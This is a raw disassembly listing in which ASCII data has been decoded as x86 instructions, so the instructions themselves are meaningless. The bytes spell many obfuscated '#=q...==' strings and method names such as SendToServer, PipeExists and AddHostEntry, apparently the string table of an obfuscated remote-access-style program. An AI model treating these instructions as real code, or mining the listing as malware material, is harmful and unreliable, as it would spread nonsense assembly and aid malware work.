414255:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
41425a:	52                   	push   %edx
41425b:	49                   	dec    %ecx
41425c:	52                   	push   %edx
41425d:	31 69 54             	xor    %ebp,0x54(%ecx)
414260:	6d                   	insl   (%dx),%es:(%edi)
414261:	64 74 48             	fs je  0x4142ac
414264:	73 24                	jae    0x41428a
414266:	65 42                	gs inc %edx
414268:	77 45                	ja     0x4142af
41426a:	64 6f                	outsl  %fs:(%esi),(%dx)
41426c:	4b                   	dec    %ebx
41426d:	70 68                	jo     0x4142d7
41426f:	77 3d                	ja     0x4142ae
414271:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
414276:	59                   	pop    %ecx
414277:	43                   	inc    %ebx
414278:	53                   	push   %ebx
414279:	33 51 4c             	xor    0x4c(%ecx),%edx
41427c:	72 58                	jb     0x4142d6
41427e:	6b 24 46 57          	imul   $0x57,(%esi,%eax,2),%esp
414282:	68 48 52 24 42       	push   $0x42245248
414287:	49                   	dec    %ecx
414288:	7a 44                	jp     0x4142ce
41428a:	58                   	pop    %eax
41428b:	51                   	push   %ecx
41428c:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
414291:	71 71                	jno    0x414304
414293:	6e                   	outsb  %ds:(%esi),(%dx)
414294:	30 50 62             	xor    %dl,0x62(%eax)
414297:	6b 75 33 63          	imul   $0x63,0x33(%ebp),%esi
41429b:	33 6a 31             	xor    0x31(%edx),%ebp
41429e:	34 69                	xor    $0x69,%al
4142a0:	64 64 37             	fs fs aaa
4142a3:	72 4e                	jb     0x4142f3
4142a5:	4f                   	dec    %edi
4142a6:	4a                   	dec    %edx
4142a7:	6d                   	insl   (%dx),%es:(%edi)
4142a8:	49                   	dec    %ecx
4142a9:	62 69 34             	bound  %ebp,0x34(%ecx)
4142ac:	57                   	push   %edi
4142ad:	75 65                	jne    0x414314
4142af:	48                   	dec    %eax
4142b0:	44                   	inc    %esp
4142b1:	51                   	push   %ecx
4142b2:	47                   	inc    %edi
4142b3:	4e                   	dec    %esi
4142b4:	6a 78                	push   $0x78
4142b6:	70 54                	jo     0x41430c
4142b8:	6f                   	outsl  %ds:(%esi),(%dx)
4142b9:	57                   	push   %edi
4142ba:	65 39 77 3d          	cmp    %esi,%gs:0x3d(%edi)
4142be:	00 23                	add    %ah,(%ebx)
4142c0:	3d 71 62 5f 73       	cmp    $0x735f6271,%eax
4142c5:	6f                   	outsl  %ds:(%esi),(%dx)
4142c6:	47                   	inc    %edi
4142c7:	54                   	push   %esp
4142c8:	45                   	inc    %ebp
4142c9:	53                   	push   %ebx
4142ca:	4f                   	dec    %edi
4142cb:	78 47                	js     0x414314
4142cd:	62 50 79             	bound  %edx,0x79(%eax)
4142d0:	57                   	push   %edi
4142d1:	72 39                	jb     0x41430c
4142d3:	52                   	push   %edx
4142d4:	5a                   	pop    %edx
4142d5:	6a 69                	push   $0x69
4142d7:	67 3d 3d 00 23 3d    	addr16 cmp $0x3d23003d,%eax
4142dd:	71 73                	jno    0x414352
4142df:	41                   	inc    %ecx
4142e0:	38 44 30 34          	cmp    %al,0x34(%eax,%esi,1)
4142e4:	6f                   	outsl  %ds:(%esi),(%dx)
4142e5:	77 49                	ja     0x414330
4142e7:	47                   	inc    %edi
4142e8:	59                   	pop    %ecx
4142e9:	48                   	dec    %eax
4142ea:	49                   	dec    %ecx
4142eb:	4c                   	dec    %esp
4142ec:	46                   	inc    %esi
4142ed:	36 79 50             	ss jns 0x414340
4142f0:	61                   	popa
4142f1:	34 33                	xor    $0x33,%al
4142f3:	41                   	inc    %ecx
4142f4:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
4142f9:	71 68                	jno    0x414363
4142fb:	50                   	push   %eax
4142fc:	62 7a 48             	bound  %edi,0x48(%edx)
4142ff:	58                   	pop    %eax
414300:	52                   	push   %edx
414301:	45                   	inc    %ebp
414302:	61                   	popa
414303:	64 63 55 53          	arpl   %edx,%fs:0x53(%ebp)
414307:	6c                   	insb   (%dx),%es:(%edi)
414308:	36 64 36 4c          	ss fs ss dec %esp
41430c:	68 56 59 77 3d       	push   $0x3d775956
414311:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
414316:	34 6b                	xor    $0x6b,%al
414318:	42                   	inc    %edx
414319:	5f                   	pop    %edi
41431a:	4b                   	dec    %ebx
41431b:	6a 4c                	push   $0x4c
41431d:	32 6f 6f             	xor    0x6f(%edi),%ch
414320:	38 61 64             	cmp    %ah,0x64(%ecx)
414323:	54                   	push   %esp
414324:	37                   	aaa
414325:	6c                   	insb   (%dx),%es:(%edi)
414326:	66 6e                	data16 outsb %ds:(%esi),(%dx)
414328:	74 36                	je     0x414360
41432a:	65 77 3d             	gs ja  0x41436a
41432d:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
414332:	64 5a                	fs pop %edx
414334:	71 57                	jno    0x41438d
414336:	6f                   	outsl  %ds:(%esi),(%dx)
414337:	61                   	popa
414338:	59                   	pop    %ecx
414339:	4e                   	dec    %esi
41433a:	36 38 72 6c          	cmp    %dh,%ss:0x6c(%edx)
41433e:	4d                   	dec    %ebp
41433f:	4f                   	dec    %edi
414340:	58                   	pop    %eax
414341:	34 48                	xor    $0x48,%al
414343:	6b 54 4c 64 41       	imul   $0x41,0x64(%esp,%ecx,2),%edx
414348:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
41434d:	71 42                	jno    0x414391
41434f:	6b 39 74             	imul   $0x74,(%ecx),%edi
414352:	37                   	aaa
414353:	70 39                	jo     0x41438e
414355:	53                   	push   %ebx
414356:	35 52 30 39 35       	xor    $0x35393052,%eax
41435b:	72 4f                	jb     0x4143ac
41435d:	6b 46 64 45          	imul   $0x45,0x64(%esi),%eax
414361:	38 47 51             	cmp    %al,0x51(%edi)
414364:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
414369:	71 44                	jno    0x4143af
41436b:	78 38                	js     0x4143a5
41436d:	79 53                	jns    0x4143c2
41436f:	35 77 55 36 45       	xor    $0x45365577,%eax
414374:	51                   	push   %ecx
414375:	53                   	push   %ebx
414376:	61                   	popa
414377:	77 47                	ja     0x4143c0
414379:	43                   	inc    %ebx
41437a:	38 34 31             	cmp    %dh,(%ecx,%esi,1)
41437d:	78 6e                	js     0x4143ed
41437f:	77 3d                	ja     0x4143be
414381:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
414386:	4f                   	dec    %edi
414387:	54                   	push   %esp
414388:	71 69                	jno    0x4143f3
41438a:	49                   	dec    %ecx
41438b:	48                   	dec    %eax
41438c:	56                   	push   %esi
41438d:	4e                   	dec    %esi
41438e:	34 54                	xor    $0x54,%al
414390:	57                   	push   %edi
414391:	44                   	inc    %esp
414392:	75 34                	jne    0x4143c8
414394:	5f                   	pop    %edi
414395:	78 68                	js     0x4143ff
414397:	67 62 69 66          	bound  %ebp,0x66(%bx,%di)
41439b:	51                   	push   %ecx
41439c:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
4143a1:	71 39                	jno    0x4143dc
4143a3:	38 68 4d             	cmp    %ch,0x4d(%eax)
4143a6:	62 67 56             	bound  %esp,0x56(%edi)
4143a9:	66 34 66             	data16 xor $0x66,%al
4143ac:	42                   	inc    %edx
4143ad:	52                   	push   %edx
4143ae:	33 4d 4b             	xor    0x4b(%ebp),%ecx
4143b1:	65 61                	gs popa
4143b3:	4d                   	dec    %ebp
4143b4:	34 75                	xor    $0x75,%al
4143b6:	51                   	push   %ecx
4143b7:	49                   	dec    %ecx
4143b8:	24 59                	and    $0x59,%al
4143ba:	52                   	push   %edx
4143bb:	4c                   	dec    %esp
4143bc:	51                   	push   %ecx
4143bd:	64 49                	fs dec %ecx
4143bf:	72 31                	jb     0x4143f2
4143c1:	62 69 59             	bound  %ebp,0x59(%ecx)
4143c4:	59                   	pop    %ecx
4143c5:	46                   	inc    %esi
4143c6:	35 33 36 39 63       	xor    $0x63393633,%eax
4143cb:	57                   	push   %edi
4143cc:	38 3d 00 23 3d 71    	cmp    %bh,0x713d2300
4143d2:	43                   	inc    %ebx
4143d3:	79 5f                	jns    0x414434
4143d5:	53                   	push   %ebx
4143d6:	74 78                	je     0x414450
4143d8:	61                   	popa
4143d9:	61                   	popa
4143da:	6e                   	outsb  %ds:(%esi),(%dx)
4143db:	51                   	push   %ecx
4143dc:	69 6f 4f 53 47 51 39 	imul   $0x39514753,0x4f(%edi),%ebp
4143e3:	4c                   	dec    %esp
4143e4:	69 6d 43 46 39 5f 57 	imul   $0x575f3946,0x43(%ebp),%ebp
4143eb:	79 39                	jns    0x414426
4143ed:	41                   	inc    %ecx
4143ee:	4d                   	dec    %ebp
4143ef:	42                   	inc    %edx
4143f0:	4e                   	dec    %esi
4143f1:	4b                   	dec    %ebx
4143f2:	63 6c 72 49          	arpl   %ebp,0x49(%edx,%esi,2)
4143f6:	49                   	dec    %ecx
4143f7:	55                   	push   %ebp
4143f8:	49                   	dec    %ecx
4143f9:	30 41 57             	xor    %al,0x57(%ecx)
4143fc:	73 3d                	jae    0x41443b
4143fe:	00 23                	add    %ah,(%ebx)
414400:	3d 71 68 53 4b       	cmp    $0x4b536871,%eax
414405:	61                   	popa
414406:	71 39                	jno    0x414441
414408:	59                   	pop    %ecx
414409:	57                   	push   %edi
41440a:	34 41                	xor    $0x41,%al
41440c:	5f                   	pop    %edi
41440d:	6a 61                	push   $0x61
41440f:	30 55 43             	xor    %dl,0x43(%ebp)
414412:	37                   	aaa
414413:	44                   	inc    %esp
414414:	69 66 6d 77 3d 3d 00 	imul   $0x3d3d77,0x6d(%esi),%esp
41441b:	23 3d 71 4a 65 34    	and    0x34654a71,%edi
414421:	41                   	inc    %ecx
414422:	6f                   	outsl  %ds:(%esi),(%dx)
414423:	70 36                	jo     0x41445b
414425:	4a                   	dec    %edx
414426:	32 6b 5f             	xor    0x5f(%ebx),%ch
414429:	62 4b 30             	bound  %ecx,0x30(%ebx)
41442c:	66 24 68             	data16 and $0x68,%al
41442f:	53                   	push   %ebx
414430:	33 5a 4f             	xor    0x4f(%edx),%ebx
414433:	51                   	push   %ecx
414434:	3d 3d 00 67 65       	cmp    $0x6567003d,%eax
414439:	74 5f                	je     0x41449a
41443b:	43                   	inc    %ebx
41443c:	6f                   	outsl  %ds:(%esi),(%dx)
41443d:	6e                   	outsb  %ds:(%esi),(%dx)
41443e:	6e                   	outsb  %ds:(%esi),(%dx)
41443f:	65 63 74 65 64       	arpl   %esi,%gs:0x64(%ebp,%eiz,2)
414444:	00 43 6c             	add    %al,0x6c(%ebx)
414447:	6f                   	outsl  %ds:(%esi),(%dx)
414448:	73 65                	jae    0x4144af
41444a:	50                   	push   %eax
41444b:	69 70 65 00 23 3d 71 	imul   $0x713d2300,0x65(%eax),%esi
414452:	45                   	inc    %ebp
414453:	68 76 65 75 5a       	push   $0x5a756576
414458:	43                   	inc    %ebx
414459:	68 78 62 52 6a       	push   $0x6a526278
41445e:	36 36 43             	ss ss inc %ebx
414461:	6a 32                	push   $0x32
414463:	6b 43 47 6a          	imul   $0x6a,0x47(%ebx),%eax
414467:	77 3d                	ja     0x4144a6
414469:	3d 00 50 69 70       	cmp    $0x70695000,%eax
41446e:	65 45                	gs inc %ebp
414470:	78 69                	js     0x4144db
414472:	73 74                	jae    0x4144e8
414474:	73 00                	jae    0x414476
414476:	23 3d 71 47 66 69    	and    0x69664771,%edi
41447c:	4a                   	dec    %edx
41447d:	34 6f                	xor    $0x6f,%al
41447f:	53                   	push   %ebx
414480:	43                   	inc    %ebx
414481:	44                   	inc    %esp
414482:	7a 4a                	jp     0x4144ce
414484:	4a                   	dec    %edx
414485:	61                   	popa
414486:	4e                   	dec    %esi
414487:	6d                   	insl   (%dx),%es:(%edi)
414488:	66 32 32             	data16 xor (%edx),%dh
41448b:	61                   	popa
41448c:	6e                   	outsb  %ds:(%esi),(%dx)
41448d:	51                   	push   %ecx
41448e:	77 3d                	ja     0x4144cd
414490:	3d 00 44 69 73       	cmp    $0x73694400,%eax
414495:	63 6f 6e             	arpl   %ebp,0x6e(%edi)
414498:	6e                   	outsb  %ds:(%esi),(%dx)
414499:	65 63 74 00 53       	arpl   %esi,%gs:0x53(%eax,%eax,1)
41449e:	65 6e                	outsb  %gs:(%esi),(%dx)
4144a0:	64 54                	fs push %esp
4144a2:	6f                   	outsl  %ds:(%esi),(%dx)
4144a3:	53                   	push   %ebx
4144a4:	65 72 76             	gs jb  0x41451d
4144a7:	65 72 00             	gs jb  0x4144aa
4144aa:	23 3d 71 79 49 39    	and    0x39497971,%edi
4144b0:	76 67                	jbe    0x414519
4144b2:	73 4b                	jae    0x4144ff
4144b4:	52                   	push   %edx
4144b5:	58                   	pop    %eax
4144b6:	48                   	dec    %eax
4144b7:	44                   	inc    %esp
4144b8:	79 79                	jns    0x414533
4144ba:	6b 73 34 56          	imul   $0x56,0x34(%ebx),%esi
4144be:	43                   	inc    %ebx
4144bf:	41                   	inc    %ecx
4144c0:	6a 7a                	push   $0x7a
4144c2:	41                   	inc    %ecx
4144c3:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
4144c8:	71 47                	jno    0x414511
4144ca:	7a 71                	jp     0x41453d
4144cc:	73 79                	jae    0x414547
4144ce:	36 30 64 5f 71       	xor    %ah,%ss:0x71(%edi,%ebx,2)
4144d3:	41                   	inc    %ecx
4144d4:	56                   	push   %esi
4144d5:	52                   	push   %edx
4144d6:	69 70 30 54 76 79 47 	imul   $0x47797654,0x30(%eax),%esi
4144dd:	6f                   	outsl  %ds:(%esi),(%dx)
4144de:	77 3d                	ja     0x41451d
4144e0:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
4144e5:	63 43 59             	arpl   %eax,0x59(%ebx)
4144e8:	47                   	inc    %edi
4144e9:	4c                   	dec    %esp
4144ea:	5a                   	pop    %edx
4144eb:	4f                   	dec    %edi
4144ec:	68 39 45 70 7a       	push   $0x7a704539
4144f1:	55                   	push   %ebp
4144f2:	24 73                	and    $0x73,%al
4144f4:	6a 4a                	push   $0x4a
4144f6:	47                   	inc    %edi
4144f7:	38 5a 79             	cmp    %bl,0x79(%edx)
4144fa:	51                   	push   %ecx
4144fb:	3d 3d 00 41 64       	cmp    $0x6441003d,%eax
414500:	64 48                	fs dec %eax
414502:	6f                   	outsl  %ds:(%esi),(%dx)
414503:	73 74                	jae    0x414579
414505:	45                   	inc    %ebp
414506:	6e                   	outsb  %ds:(%esi),(%dx)
414507:	74 72                	je     0x41457b
414509:	79 00                	jns    0x41450b
41450b:	23 3d 71 46 59 76    	and    0x76594671,%edi
414511:	34 6f                	xor    $0x6f,%al
414513:	53                   	push   %ebx
414514:	73 45                	jae    0x41455b
414516:	46                   	inc    %esi
414517:	6e                   	outsb  %ds:(%esi),(%dx)
414518:	6f                   	outsl  %ds:(%esi),(%dx)
414519:	33 55 6a             	xor    0x6a(%ebp),%edx
41451c:	65 76 39             	gs jbe 0x414558
41451f:	5f                   	pop    %edi
414520:	6f                   	outsl  %ds:(%esi),(%dx)
414521:	34 48                	xor    $0x48,%al
414523:	67 3d 3d 00 52 65    	addr16 cmp $0x6552003d,%eax
414529:	62 75 69             	bound  %esi,0x69(%ebp)
41452c:	6c                   	insb   (%dx),%es:(%edi)
41452d:	64 48                	fs dec %eax
41452f:	6f                   	outsl  %ds:(%esi),(%dx)
414530:	73 74                	jae    0x4145a6
414532:	43                   	inc    %ebx
414533:	61                   	popa
414534:	63 68 65             	arpl   %ebp,0x65(%eax)